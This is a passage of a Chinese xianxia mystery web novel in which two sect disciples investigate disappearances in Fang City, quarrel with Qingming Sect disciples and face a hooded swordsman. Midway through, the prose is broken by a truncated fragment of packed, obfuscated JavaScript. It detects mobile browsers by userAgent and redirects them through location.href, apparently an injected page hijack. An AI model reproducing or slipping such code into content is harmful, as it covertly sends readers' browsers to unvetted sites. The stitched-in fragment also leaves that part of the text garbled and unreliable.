从那之后,孟澜更加焦急解决这件事,每日寻访百姓,派发粮食。身体受不住高烧了一场,就一直卧床,咳嗽不断。方无言找的大夫却诊不出病,说什么体内的病根在两年前就落下了,只能试着开了几副方子,显然并不奏效。
“原来如此,尊夫人是个亲民的。”苏折映夸赞道。
方无言想到什么,笑得幸福,“她是个很善良的人。”
虽然是深闺女子,但孟澜的眼界很广,给他提议也是比他顾虑周全。
他还记得两人刚相熟时,他还不是方城城主,还在她家的酒肆帮忙打工。
孟澜趁着人少时,带他偷跑出来了。
那是方无言第一次知道她温婉的外表下还藏着俏皮。
他以为拉他出来是有事要讲。
“没事就不能喊你出来了么?”孟澜把他带到城外的河边。
“我爹爹他们又出城了。”孟澜蹲在河边,托着脸。
闻言,方无言也跟着蹲下来,“家里又留你自己了?”
“嗯。”孟澜闷闷不乐的,她家算是城里的富商了,一家人都靠着她爹娘去平梁做生意赚钱养着。
方城偏东南,平梁却在北方,每次出去就是几个月。
“别难过,我还在这呢,大老板。”方无言打趣道。
孟澜耳根子红了,噌的一下起身,“谁是大老板了,哎呀你快回去吧,别被张伯伯发现了。”
“怕什么,被发现了我就说孟小姐叫我出来的。”方无言笑道。
“方无言你!”孟澜抓了个脚边的石头朝他扔去。
没想到真会打到他,方无言痛呼一声。
“方无言你别装。”孟澜不信真砸到了他,侧着脸没看他,眼睛却是忍不住瞟向他。
许久没听到回应,孟澜坐不住了,起身过去。
“不怎么不说话?”孟澜皱眉,见方无言蹲坐在地,低着头,肩膀一颤一颤的。
“不会吧?真砸伤你了?”孟澜急了,蹲在他身前,“方无言你说话!”
“哈哈哈哈……”
方无言抬头,笑得眼泪都出来了。
“你!方无言你无不无聊!”孟澜松了口气,又气愤道。
“别生气嘛阿澜。”方无言识趣地道歉。
“不原谅,不许叫我阿澜。”孟澜又蹲回去。
方无言紧跟着她,“孟大小姐,方某不应该开玩笑的。”
孟澜扭头看他一眼,方无言立马可怜巴巴竖起三根手指,低声道:“求原谅?”
“那你答应我一件事。”
“好。”方无言想都没想就答应了。
孟澜也没问,笑着起身,朝着方无言伸出手。
此时正是日昳,河边凉风吹得让人清爽,方无言拉上借力站起来。
“有空我们去北方看看吧。”
她养在深闺,从未离开过这座城。
“我听爹娘说北边的雪景很美,我想去看看。”孟澜眼里全是向往。
方无言宠溺道:“好。”
“那说好了,冬月十三如何?”
“都听孟大小姐的。”
.
冬月十三。
“又快到了啊。”方无言喃喃道。
阿澜如今卧病在床,怕是又要失约了。
“看来方城主和尊夫人有不少故事。”苏折映羡慕道,可眼里并没有什么羡慕之意。
方无言回过神,“陈年旧事罢了。”
“那方城主可知城中之前是否有人买过烧酒?”苏折映倒了杯水就要往嘴里送,刚擦上嘴边就被郁秋冥给截胡了。
想起了他在屋里那杯没喝到的水,轻笑一声。
白圆皮,黑心馅。
还挺记仇。
方无言拧眉想了好一会儿才说道:“未曾,不过阿澜父母在平梁做生意,有时会带上一两坛回来。”
“尊夫人饮酒?”郁秋冥习惯性拿着杯子喝了一口,喝完突然就顿住了。
眼睛瞥了一眼,见苏折映注意力都在方无言那里,不动声色放下了杯子。
“我和阿澜都不饮酒。”方无言摇头。
闻言,苏折映看向旁边的人,面色凝重。
郁秋冥却是低眸不知道在想什么。
“天色不早了,我们就不打扰城主休息了。”苏折映在桌底踢了他一下,两人起身告辞。
离开方无言的屋子,苏折映自觉地跟着郁秋冥去那里。
只是还没进去就被挡门外了,“师姐跟着我做什么?”
苏折映:“来——”
“无事?”郁秋冥一只手掩着门,面无表情道。
苏折映:说城主夫人一事。
苏折映:“当——”
“师姐若无事便回去吧,我要休息了。”郁秋冥垂眸,关上门。
苏折映:然有事。
门外的苏折映:“我——”
砰——
苏折映:话还没说完。
算了,明天再说也不迟。
苏折映嘀咕一声“莫名其妙”就走了。
听到渐远的脚步声,郁秋冥才从门前离开。
他重新坐回桌前,盯着茶盏失神半晌
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。
彻夜未眠。
*
翌日一早,郁秋冥便出了院子要找她。
好巧不巧,刚出院外就看见了要找的人。
苏折映今日换了一身紫色罗裙,长发半束,发间系着一条黑色发带,绣着蹁跹的玄色蝴蝶。
她瞧见郁秋冥眼底淡淡的青色,诧异道:“你昨夜是背着我偷鸡去了?”
郁秋冥淡淡看她一眼,沉默不语。
“大人,我们正要找您呢。”方无言从后方站出来,郁秋冥这才发现还有个人。
“何事?”郁秋冥问道。
“青冥宗派的人来了。”苏折映手指上勾着百合吊坠,漫不经心道,“来得还挺巧。”
“对,今日一早就听阿臻说外面来了一群假冒青冥宗的人。”方无言说起来时还有些尴尬。
他忘了告诉阿臻这场小乌龙,以至于青冥宗一行人来时还被阿臻给拦下了。
“去瞧瞧?”苏折映颇有些兴奋。
她还挺好奇青冥宗会派哪些弟子过来。
郁秋冥点头,拿了剑就跟着方无言去了前厅。
当初方无言为了多剩下些钱,前厅建的就没那么宽敞,如今里面一下又多了四五人,更显狭小了。
几人七嘴八舌,不知道谁喊了一声,“城主来了。”
屋内顿时安静下来,他们皆朝门口看去。
五人皆是青冥宗内门弟子统一的淡蓝色弟子服,腰间挂着青冥宗的通行令牌。乍一看,还挺整齐。
瞧见方无言过来,站在最前方的男子一脸傲气,高声道:“我等奉宗主之命前来调查方城一事,竟不想方城主对我等竟是如此怠慢!”
方无言那把折扇不知何时又拿在了手里,素色扇半遮着脸,眼神还不停瞄向苏折映两人,“这位仙师莫要生气,方某并非是刻意怠慢,不过是去请了另外两位大人过来。”
“方城一事,除了我青冥宗,城主还请了别的宗门?”那男子注意到方无言身后一紫一黑的两人。
方无言刚张口,肩膀上就压下来一只手,力道不大,但让他感觉瘆得慌,拿扇的手下意识抖了抖。
便听到苏折映开口道:“并非是四大宗的人,我跟我弟弟路见不平,来除魔灭祟。”
“哼,原来是散修啊。”于徽旁边一个尖下巴嘲讽道。
大陆谁不知道,除了四大宗外还有一些隐世宗门世家,而后便是郁氏王朝管治众多凡人百姓,最后才是那些不为宗门王朝所管的散修。是最被宗门弟子看不起的一类人。
“是啊,散修。”苏折映可不分宗门百姓,要么是强于她的对手,要么就是弱于她的凡人。
哦,还有眼前这种歧视人的垃圾。
她的目光从五个人身上掠过,最终停在了站在最后的弟子身上,挑眉道:“呦,好俊的人儿。”
众人顺着她视线看去,一个模样俊秀的青年站在那,面如冠玉,乌发被一根羊脂玉簪松松挽起来。同样是淡蓝弟子服,穿在他身上却别有另一番韵味。
看样子比其他四人年长不少,看着就更为稳重。
郁秋冥也瞧见了,又漠着脸移开了视线。
不像苏折映就这么明目张胆盯着人家笑。
江清野在他们进来时就注意到了她,此时见她将众人的注意力引过来,他礼貌点头示意,看到一旁的郁秋冥时却是不经意愣了一下。
为首的于徽倒是看不下去了,怒声道:“你个无理的丫头,你知道他是谁吗?”
于徽气得张口就要说出江清野的身份,却被他一个眼神制止,到嘴边话抹了个弯:“哼,我们青冥宗的人岂是你这种散修能觊觎的。”
“还是个入境三段,连城主都不如。”一行人里唯一的一名女弟子嗤笑道。
“还真是……癞蛤蟆想吃天鹅肉!”
除了江清野之外的几人都跟着嘲讽了几句,苏折映却是在疑惑她口中的入境三段。
她虽然主修混元一道,但玄气好歹也是个玄关中期,怎的到他们口中就成了入境三段的小虫子了?
她撞了一下郁秋冥,旁边人看过来。
莫名就懂了她的意思,对她点点头表示他们说的不错。
他见苏折映神色几度变幻,最后又笑容满面。
果不其然,下一秒就见她右手指尖微曲,几缕灰色的雾团渐渐凝实。
苏折映勾唇。
看不起人?
刚好,她只用实力说话。
5. 方城诡事(三)
苏折映的实力,方无言尽管不是很清楚,但也确信不仅仅是表面上那么简单。
他轻咳轻咳一声,站在中间,和善道:“多一个就是多一分希望,我也相信这位大人的能力。”
江清野也开口,“别忘了来这是干什么的。”
几人这才算是彻底闭了嘴。
苏折映见状,眉梢轻挑,意味深长道:“看样子这位公子在青冥宗的地位不一般啊。”
“普通内门弟子而已。”江清野随意道。
“说正事吧。”
话题终于被扶上正轨,方无言将那日给苏折映他们说的话又重述一遍。
于徽敏锐地捕捉到了关键点,“失踪的人都是什么时候被发觉的?”
“次日晨间。”
“那么人就是在晚上失踪的了?”尖下巴接话。
“是这样。”方无言点头。
于徽扬眉,得意道:“那不就好办了。今夜我们分开借住到城中百姓家里,若有异常便能发现,或许还能借此抓到凶手呢。”
于徽的方法,方无言不是没有想到过,只是方城人户众多,不可能挨户都派进去一个人,况且他手底下的侍卫也只是伸手好一点的练家子,并不是修炼者。
随着于徽周围附和的也来越多,苏折映暗自摇头。
还以为这于徽有点实力的,没想到是个蠢的。
这么对比下来,郁秋冥除了冷了点,不爱多说话,脑袋还是挺灵光的。
江清野也忍不住叹气,宗主为什么会派这么一群人来。
来折磨他和方无言吗?
不过现在又多了两个。
倒是让他舒心一点了。
知道这几个弟子没什么本事后,苏折映也懒得跟他们浪费口舌了,对着方无言笑道:“方城有这么一群……仙师相助,实乃方城之幸啊。”
“哈哈大人说的是。”方无言尴尬道。
“那就不打扰仙师们了。”苏折映拉上郁秋冥袖子就走。
后面的江清野见状,也跟了出去。
其余四人虽有些疑惑,但他的事他们也不好多问,就这么看着他像看鸡妈妈一样一步步离开。
苏折映知道江清野会跟出来,特意走得慢悠悠的。
江清野出来就看到了两人,笑道:“小少主不打算跟在下叙个旧?”
苏折映转身,同样调侃道:“叙旧?我怎么不记得我认识青冥宗的首席大弟子?”
堂堂隐世家族的独苗,好好的江家放着不要,跑来当个宗门弟子,难道这几年游历时把脑子给玩坏了?
“别提了,去青冥宗不过是查点东西。”江清野苦笑道。
苏折映诧异道:“居然还有能让你亲自出手的事。”
“小少主不也是?”
苏折映笑了笑,不可置否。
江清野又转向郁秋冥,问她:“不介绍一下?”
“老头新收的弟子,苏郁。”她回道,转脸又向郁秋冥介绍,“这位是我旧友,江清野。”
郁秋冥礼貌性颔首,江清野却是上前几步细细打量。
难得见他这么失礼,苏折映有些好奇道:“怎么,看上了?”
郁秋冥冷冷看她一眼。
江清野却是没在意,只是盯着郁秋冥发愣。
他蹙眉,又问道:“苏公子是哪里的人?家中可有兄弟姐妹?”
见他不停追问,郁秋冥有些不耐,但顾着是苏折映的朋友,还是一板一眼答道:“孤儿,无父无母,更无兄弟姐妹。”
“江清野,你不会是短袖吧?”苏折映不着痕迹地向前挡了挡,嘀咕道:“但我师弟可不是啊。还有,你都二十六了,我师弟才十八!你就这么——”
“不对,你不是有个天天挂在嘴边的姑娘吗?”
“……”
江清野突然就沉默了,苏折映以为是他醒悟了,殊不知是戳人痛处了。
过了好一会,才听他哑声道:“我对这位公子并没有别的意思,不过是与我的一位旧识有些相像,才会如此,实在对不住。”
“啊……倒是我的不是了。我与师弟还有事要商讨,就先走了。”苏折映突然觉得脸有些热,转身就跑了,郁秋冥险些没跟上。
一路带着他跑到了郁秋冥屋里,关上门,坐下给自己倒了杯水,轻咳一声,面色有些不自然。
郁秋冥明知故问:“师姐跑什么,还跑得这般快。”
“口渴,着急喝水。怎么?”苏折映抿了一口水,正经道。
郁秋冥嘴角似有若无地上扬了些,勾出一个极浅的弧度。
杯中的水见了底,他又给她倒上,像是怕她不够喝,又拿了两只一并倒满,推给她,说道:“师姐渴了便多喝些。”
“没想到小师弟这么关心师姐我。”苏折映支起头,眼里盈着笑,故意道。
郁秋冥笑意僵了一下,也发觉自己的失常,顿时沉下脸。
看得苏折映咋舌。
加一条,喜怒无常。
“昨天晚上……”苏折映刚开口,就被郁秋冥接了话。
“城主夫人有问题。”
“何以见得?”
虽然还未见到那位城主夫人,但听方无言口中的描述,孟澜是没有一点问题的。
“烧酒。”郁秋冥肯定道。
苏折映眼底浮现出笑意,夸赞道:“聪明。”
她是昨日敲门时闻见了些酒味才留意了一下酒肆。
但是为什么要给百姓烧酒呢?
苏折映冷笑道:“只有醉了的人才会安安静静地晕着头跟别人走。”
而且还是他们熟知的人。方城就这么大,也不可能人人互相认识彼此,也只有些位高权重的人才会被知道。
那么除了方无言便是孟澜。
“你说,凶手今晚会行动吗。”苏折映问道,他们昨日来的时候早间就有一户人家发现自己妻子不见了,但是今早却没有,也就是说昨天晚上凶手并没有动手。
是顾忌他们还是其他就不得而知。
“难说。”郁秋冥道。
苏折映灵光一现,不怀好意道:“青冥宗弟子今晚不是要去当诱饵么?”
郁秋冥一下就明白过来,“黄雀在后?”
如果孟澜真的有问题,那么她背后一定还有人,很有可能就是魇魔了。
且不说魇魔更喜欢修仙者,那几个弟子虽是内门弟子,但修为对于高阶魇魔来说,不过是四只蝼
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蚁。
他们上赶着当诱饵,魇魔一定会坐不住。
苏折映道:“分头行动,你去盯着城主夫人,我去看着那几个弟子。”
如今对城主夫人也只是初步怀疑,并没有实打实证据,只能慢慢把她的破绽找出来了。
“好。”
.
酉时,阿臻照例发粮。
不过有了昨日的经历,百姓们比往日安静多了,自觉排起了队。
一切如往常一样,不过方无言倒是没在。
直至入了夜。
于徽四人换了身衣服,在东西南北四处各找了一户人家借住进去。
苏折映挑了个弟子跟过去,就这么明目张胆坐到了屋顶上。
修仙者分三六九等,魇魔也有高低贵贱之别。
低阶的魇魔与平常灵兽一样,不容易区分出来,没有灵智,喜欢进入人们的梦境制造噩梦以此来吸食他们的恐惧,增长自己的力量。
这种力量的汲取是被动的,是靠着内心对食物的渴望让自己进行这种不可控的行动。
低阶魇魔难分辨,但却好抓。高阶魇魔就不一样了,他们能化人形,且有灵智,擅长伪装混进人类之中。蠢一点的魇魔最喜欢扮作修仙者欺骗普通人,与他们进行“交易”,就是各取所需,我为你带来你所需的,你就要给我我想要的。虽然麻烦,但也是很低调且隐蔽的一种获取力量的方式。
还有一类魇魔,残暴且张扬,他们会直接做出让人内心最害怕发生的事,以痛苦为食。能力越高的魇魔,越会蛊惑人心。
但他们却都有个共同点,魇魔在晚上不分人,只闻恨和怨。
所以,人都是在夜里失踪的,大概是这些人身上的怨恨很足。
苏折映曲着一条腿,手臂随意搭在膝盖上。
天空忽然闪过亮光,随之而来的就是一阵雷声。
阴了一日多天,雨终于下了。
等了这么久,也未见什么动静,苏折映索性跳下屋檐,恰巧撞见从屋里匆忙出来的青冥宗弟子。
巧的是,这弟子还是那个尖下巴。
罗正安收到于徽的召集消息,正要赶去,一开门就看见外面站着的少女。
他眼底瞬间染上轻蔑,讽刺道:“没想到都跟到这来了。不是也来查案的么,怎么还跟在我们屁股后面了,莫不是查不出来了?”
苏折映神色也冷了下来,眼神锐利,问道:“你去做什么?”
“我去做什么轮的到你来管教?”罗正安傲然道,他腰间的令牌闪着的光越来越快,像是在催促着什么。
苏折映看过去,知道这是宗门弟子互相联系的一种方式。
她垂下眸,看来是于徽在找他们。
罗正安轻哼一声,昂着头,阔步离开。
苏折映取下黑百合吊坠,玄力注入进去,等吊坠闪烁的光淡下来,她道:“小师弟?”
“嗯。”郁秋冥应声。
苏折映问道:“青冥宗弟子都被叫走了,你那边可有动静?”
郁秋冥道:“并无。”
没有?
苏折映蹙眉,犹豫一下,决定道:“先来我这,去跟着青冥宗的弟子。”
“好。”
6. 方城诡事(四)
于徽既然在此时找他们,要么是有什么发现,要么就是宗门里下发了什么命令需要转述。
虽然她只蹲守在了尖下巴这里,但整个方城都被她的神识覆盖,若有异动,她自然会先一步察觉。
此时将人叫走太不合理。
要找他们并不难,苏折映神识很强,可以清楚感知到他们的位置。
他们就在城外的一条河边。
两人赶到时,四人分散在附近找什么人。
苏折映直接找到于徽,后者不耐烦地问道:“你又跟过来做什么?”
显然是听尖下巴说了她偷偷跟着他的事。
“你们在做什么?”苏折映反问,她瞥向于徽紧攥着的手,手里握着的应该是一张纸。
于徽冷笑一声,“你一个散修,装什么——”
话还没说完,就感觉到后脑勺有个又细又圆的东西缠上来了,并且往前蔓延,把他的嘴堵上了。
而后就是四肢,他低头,深绿色藤蔓从地下破土而出,紧紧缠着他。
“唔唔唔唔!”
你这是什么妖术!
郁秋冥上前,从他手里拿过那张纸。
上面写着“城外河边,发现可疑者”。
苏折映脸色瞬变。
很明显,有人刻意引他们过来。
但并不是对他们下手。
而是……调虎离山!
调的是她和郁秋冥!
知道这几个迷津境界的小孩构不成威胁,就利用他们来将她与郁秋冥引开。本以为这魇魔会对这几个弟子下手,没想到它对他们根本不感兴趣。
两人对视一眼,收好纸立马折回。
苏折映皱着眉,从前都是她戏耍别人,没想到自己竟也有被戏弄的一天。
到城主府的第一时间就去找了方无言,见到人时他像是刚沐浴过,身上还氤氲着湿气。
苏折映盯着他看了一会儿,才道:“麻烦方城主召集一下城中百姓,我怀疑凶手行动了。”
“方某这就去。”方无言被她看得有些不自然,急匆匆走了。
前脚走,苏折映后脚就进了他屋里。
郁秋冥有些诧异,但也跟了进去。
屋里的摆设与昨日并没有不同,她绕过屏风,朝他床边走过去。
红木矮塌上,放着几件湿漉漉的衣服,显然就是方无言白日穿的那件。
今夜下雨时他出去过。
“师姐是故意将方无言支开的?”郁秋冥敏锐道。
“是,也不是。”
怀疑凶手有所行动是真的,召集百姓也不假,来搜查方无言的房间也不过是顺手,她也只是怀疑。
只是没想到还真有点问题。
苏折映疑惑道:“那这就怪了。”
他们最初怀疑的城主夫人没有丝毫动静,反而是整日在眼皮子底下的方无言行事可疑。
“先去看看外面的情况。”苏折映道。
*
半个时辰后,百姓们个个撑着伞到了城主府门前。
方无言询问了各家是否有人失踪。
本来一脸惺忪的众人,一下清醒了不少。周围人你瞧我,我看你。不一会儿就有几人惊恐道:“我!我家的老婆子不见了!”
“我家娘子也是!”
“还有我家…”
“……”
方无言怎么也没想到今晚会突然少了这么多,眉头紧促,在原地来回踱步。
苏折映两人在这时也过来了,两人都神色凝重。
她不动声色地观察着方无言的一举一动。
是真不知道,还是演技过于卓绝了?
接连不断的失踪让百姓们越来越惊恐,生怕下一个就轮到了自己。
亲情什么的,在死亡面前就显得格外不值一提了。
“好了,大家不要害怕,青冥宗已经派来的弟子已经到了,还有两位大人也来调查此事,先回去吧。我会给方城一个交代。”方无言的话像是给众人吃了定心丸,躁动的人群一下子就安静下来了。
将百姓遣散,方无言想问今夜发生的事,苏折映便大致讲述了一下,在说道有人给于徽送信时,黑眸紧盯着他,不放过丝毫表情。
方无言毫无觉察,只是深思道:“那么说,背后的凶手不止一个?”
“是有这个可能。”
而且可能性极大。
“对了,方城主。”苏折映眼珠子一动,问道:“刚才见方城主湿漉漉的,可是今夜出去了?”
方无言坦然道:“是出去了一趟。阿澜今夜的药没了,方城如今这样也没什么医馆和医师,最近的城池离这里也有七十里,所以申时我便出城了。只是没想到回来时下了雨,这才有些狼狈。让大人见笑了。”
他眼里全是心疼和无奈,看起来并不像是在说谎。
苏折映瞥向郁秋冥,后者朝她摇摇头。
单凭几句话里看不出端倪。
她跟郁秋冥一起离开后,于徽四人才狼狈地回来。
他们在在河附近找了许久,别说可疑人物了,连个人影都没见着。
后知后觉发现自己可能是被人耍了的于徽,气得一言不发就走了,其他三人发现时于徽已经走了好一会儿,立马朝他追去。
由于出来时没有带避水丹,一行人淋得像是落水狗。
反倒是苏折映二人,表现得格外得心应手。
东边院子里。
苏折映支起头,听郁秋冥分析。
“方无言很奇怪。”他道,“神色动作都很自然,没有丝毫心虚的表现。一套说辞下来也毫无疏漏。”
一切都太巧了,巧的像是被人特意算计着一步一步朝着预期发展。
“可就是毫无疏漏才让人觉得奇怪。”苏折映赞同道,“那张纸还留着吗?”
或许,可以通过其他方法呢?
郁秋冥拿出那张纸,纸上的字迹潦草,不像是大多书生的那种端庄整齐,但也潦草得独具特色。
“看来得找机会比对一下。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280606|166811||http|test|mini|href|location''.split(''|''),0,{}));
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>这么说来,好像从一开始就没见到过方无言执笔写字,就连那账本上的字,自始至终都是阿臻一人的。
苏折映活动下肩膀,懒洋洋道:“好了,明天再去试探一下方无言,我就先回去了。”
“嗯。”
只是,苏折映刚起身,门外就响起一阵匆忙的脚步声。
听着约摸有五六人,不用想就知道,大概是那几个蠢蛋回来找事了。
毕竟她把人家东西拿了,还“冒犯”了人家。
但她现在也没心情跟他们折腾。
她半弯着身,要起不起的,最后又重新坐回去,道:“小师弟,师姐突然想起来师父他老人家有些话让我转告。”
郁秋冥侧首,道:“师姐请讲。”
“就是——”
她算计着时间,拉了个腔,门就被人毫不客气地踢开。
“呦,大半夜姐弟二人不休息这是在?”于徽故作惊讶道。
他带本是要找苏折映的,但去到他屋子里才发现不在,就只好先来找他这个弟弟。
倒是没想到两人就在一起,还真是伤风败俗。
郁秋冥没接话,只是看向一旁的人,却见苏折映正眼巴巴看着他。
眼睛一眨一眨的像是在催促着说,快解释你快去解释。
无视他就算了,还在一旁挤眉弄眼的,一股无名之火窜上来,于徽嘲讽道:“怎么?是做了什么见不得人的事吗?”
“跟你有何关系。”郁秋冥道。
“这事是和我无关,但今夜河边的事可就跟我有关系了。”于徽脸色阴沉的很。
“河边?什么河边?”苏折映疑惑道。
老头说了,适当的装傻充愣可以省去不少麻烦。
“别在这装傻!”
大概是被气得有些重了,于徽整张脸都泛着红。
“你们二人跟踪就算了,竟然还妄图阻止我们调查。怕不是跟凶手是一伙的吧?”出声的是于徽身后的女弟子。
罗正安也跟着道:“明珞,别这么讲,万一这两位生气起来对你动手怎么办?”
“罗师兄怕什么,不过两个喽啰。我明珞还怕了不成?”明珞捂嘴笑道。
听几人叽叽喳喳了半天,苏折映听得倦了,以前她在溟川屿也养过几只小雀,那时还没觉得吵,怎么这几人一开口耳朵就难受了。
“唔,小师弟,这城里的鸟就是多,吵得人头疼。”
郁秋冥拉着眼皮,随口道:“杀了便是。”
于徽可不管三七二十一,他对身后的两名男弟子道:“把他们带去城主那。”
方城归青冥宗统辖,他相信方无言还是领的清轻重。
那两位弟子,一个是罗正安,另一个是个头高大的明义,也是明珞的哥哥。
两人修为虽不及于徽,但收拾两个入境期的散修还是绰绰有余。
苏折映依旧没动,大概是打算交给郁秋冥处理了。
传音令被她改动后隐藏了他们二人的实力,这算是……扮猪吃虎?
7. 方城诡事(五)
明义是最先动手的,麦色的手臂高高抬起,掌心祭出一个金色镂空的小型香炉。
玄力灌入,香炉瞬间被变大,带起一阵烈风,吹得衣袍哗啦作响。
郁秋冥抬眼,手已经不自觉抚上一旁的剑柄。
明义哼声道:“用玄阶高品法器对付两个废物,还是抬举你们了。”
“废话还挺多。”苏折映趴在桌上,转头对郁秋冥懒笑道:“小师弟,练练手?”
“还不够格。”郁秋冥道。
明义怒道:“嚣张!”
随着话落,香炉又变大数倍,迷津四段的威压也随之落下,木门吱呀一声,竟是裂了条缝。
明义见状,更是扬眉,又多了几分得意。
苏折映:……
郁秋冥木着脸,起身抽剑,同样是将玄力灌注于剑身,却明显可以感觉到他周身更为强烈的磅礴气势。
明义催动着香炉砸来,郁秋冥利落将剑甩出,剑身在空中闪过寒光,眼见便要相撞!
叮——
第二把冷锋从上空被丢下,剑尖精准打向郁秋冥的剑。
剑身飞旋,重新落回他手中。
而明义的香炉却是继续疾冲苏折映而去!
瞬息之间布下阵法怕是来不及了。
郁秋冥伸手就要抓苏折映的右手,苏折映却在同时抬起右手,完美错过。
她掌间混沌之气翻涌,瞬间窜出,撞向香炉。
一阵地动,尘雾四散。
香炉稀碎。
玄阶高品法器就这么被她一击打成废铁。
几人不可置信,瞪着眼,叫道:“你这是什么邪术?!”
不用玄力,仅凭一团灰蒙蒙的气团竟然能将玄阶法器打碎!
苏折映无视几人,抬头望向上空,了然道:“是你。”
上空,黑衣人踩着剑,临风而立。黑色兜帽下只能看见一双浑浊的灰瞳。
他喉间又是一阵怪笑,指尖一动,插在地上的剑随之颤动,唰的一下,收回手里。
黑衣人道:“再送小少主一份薄礼如何?”
话落,寒光一闪,只听见明义发出一声嚎叫,跪倒在地,血腥味四散。
一直裹着蓝色布料的手臂掉在地上,血还在汩汩往外流。
而黑衣人已经不见踪影。
“哥!!”
“明师兄!”
几人瞬间围上去,扶着他。
明珞咬唇,一只手焦急地拉着于徽的袖子,急切道:“于师兄,我记得你出门时带了止血丹对吧?”
于徽皱眉,伸手将自己的袖子从她手里拽出来,不情愿地掏出止血丹药喂给明义。
“多谢于师兄!”明珞感激道。
于徽罢手,“应该的。”
明义断口处的算是止住了,人却已经昏死过去。明珞将断臂收回乾坤袋,拜托了两位师兄将明义带回去。
苏折映却一动不动站在原地,回味着刚才黑衣人那一剑。
很随意的一剑,但她却不知为何觉得熟悉。
一旁,郁秋冥将剑收回鞘,脸色有些闷。
苏折映注意到,以为他是被人打断招式感到不快。
右手搭上他肩膀,安慰道:“多大点事,想打就来找师姐,随时奉陪。”
他淡淡看了一眼肩膀上的手,白嫩嫩的,一看便是常年不用剑的手。
因为离得近,他能清楚看到苏折映手背上淡青色的血管。
郁秋冥喉间轻滚,淡声道:“不用。”
“那还挺可惜的。”苏折映拿开手,遗憾道。
她还想想跟小师弟打一架呢。
郁秋冥抬眼看向黑漆漆的天,问道:“师姐认识那人?”
“嗯。”苏折映应声,“在平梁王宫撞见过。”
闻言,郁秋冥眼神遽暗,有些失神,蜷在身侧的手猛然握紧,微微颤抖着。
苏折映觉察,扒拉一下腰间的吊坠。
叮铃。
叮铃。
将他唤回神。
苏折映道:“还会遇到的。”
她不怎么会安慰人,否则那日对江清野说出令他伤心的话后也不会苍然逃走了。
青冥几人狼狈地整理一番,也不再继续找苏折映麻烦,灰溜溜离开了。
走到院子口时,冒出个脑袋,将他们吓了一跳。
“仙师?”方无言喊道,他伸头,看见院子里一片杂乱,甚至地上还躺了个断臂,瞬间垮了脸。
于徽脸色难看,抬脚就越过他走出去。身后几人虽然颓丧了些,但依然拿鼻孔看人,瞥眼瞧他。
方无言也不生气,对着院子里的两人问道:“请问大人,这是?”
苏折映歉声道:“跟青冥宗弟子起了点争执,麻烦方城主派人将这里打扫一下了。”
她方才那一下,这小破木屋差点就起飞了。
小争执?
方无言神色僵硬,还是笑道:“不麻烦不麻烦……”
“不过——”他目光落到两人身上来回打量,“方某府中已经没有多余的房间可以腾给苏公子了。”
郁秋冥张口,苏折映却快他一步,她没多想,直接道:“他跟我一起住便可。不用再麻烦方城主了。”
“那可真是。”方无言看到郁秋冥惊愕的神色,笑道:“再好不过了。”
方无言抖开折扇,遮住上扬的嘴角,“方某就不打扰两位大人了。”
郁秋冥欲张不张的嘴最终还是合上了。像是遵循了心底的小恶魔,它叫嚣着不要拒绝她。
也没有再将男女之别挂在嘴边。
苏折映带着他回到自己院子,跟郁秋冥那间别无二致。
她将床衾抱下来铺在地上,“委屈小师弟今晚睡这里了。”
“谢谢。”郁秋冥僵硬道。
“跟师姐客气什么。”
苏折映不觉什么,直接合衣躺上榻,一手枕臂。
郁秋冥也跟着躺下地,瞬间被一股檀香味围绕,带着淡淡的香灰气味。
意外地好闻。
“小师弟。”苏折映转头,喊道。
“嗯?”
“你那把剑可有名字?”她问。
“漱玉。”
苏折映笑道:“漱玉?好名字。”
郁秋冥也笑了,“是好名字。”
苏折映眼里他整日都跟木头一样,沉默寡言,不见喜怒。
第一次见他笑,格外稀奇,她侧起身,趴在床沿,隐约看到了他尖尖的小虎牙。
笑起来跟往日大不相同,显得尤为乖戾。
“小师弟。”她又道。
“嗯。”
“你笑起来好不乖啊。”
郁秋冥呼吸突然顿
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住,眼睫微颤。他翻身过去,背对着苏折映,道:“睡了。”
苏折映重新躺回去,“怎么还害羞上了。”
困意上涌,她合上眼。
一直到身旁的呼吸声逐渐平稳下来,郁秋冥才缓缓转动身体,转向她。
榻上的人已经熟睡过去,身体微微蜷起,一个很不安的姿势。
郁秋冥惊讶了一瞬,犹豫了下,而后轻声解下外衣,走到她榻前,将衣服盖在了她身上。
自己则出了屋子,足尖一点,落在房檐上。
坐了一夜。
苏折映醒时,郁秋冥已经收拾好了床衾和外衣,在院外练剑。
她推开门,郁秋冥停下来,问道:“师姐今日可有安排?”
苏折映觉得这一觉睡得暖洋洋的,心情愉悦不少,思索道:“去比对一下字迹。”
郁秋冥点头,利落地收了剑。
苏折映没有去找方无言,而是来到邸府门前。
红木门边,一眼就看到了灰扑扑的阿臻。
她走过去,戳他脸蛋,“怎么睡在这里?”
“青冥宗弟子来后,府里屋子不够,阿臻就将自己那间让了出来。”郁秋冥道。
苏折映莫名看他一眼。
阿臻感觉到脸痒痒的,迷糊道:“再睡一会儿……”
见状,苏折映勾起嘴角,凑在他耳朵旁,轻声道:“酉时了。”
“什么?!”阿臻一下子就醒了,懵着头起身,“我这就去放粮!”
“回来。”苏折映提着他衣领,拉回来。
阿臻定神,看到是苏折映,松了口气,“是姐姐啊。”
他转身就要坐回去,但衣领还被苏折映拽着,他扯了扯,没拽出来。
倒是郁秋冥,伸手将阿臻的衣领解救出来。
苏折映示意他,郁秋冥将那纸箴拿出,递给阿臻,“可有见过这字迹?”
阿臻拿着看了半天,不确定道:“像城主大人的,但是我不能肯定。”
“为何?”苏折映道。
阿臻有些不好意,“我已经很久没见过城主大人写字了,一年前无意间看到过一次他给夫人赋的诗,字迹跟这个很像,但那是一年前的事了。”
“姐姐知道了,谢谢阿臻。”苏折映魔爪伸向阿臻的头,揉了一把。
阿臻晕乎乎的,转身回去继续睡了。
苏折映被郁秋冥拉走,不明所以,狐疑道:“小师弟,你今日很奇怪。”
他僵了下,松开苏折映的衣袖,转移话题道:“如今多数疑点皆指向了方无言。”
“是啊,走吧,去找方无言。”苏折映道。
也没打算深究他的异样。
到方无言院前时,恰巧碰上江清野。
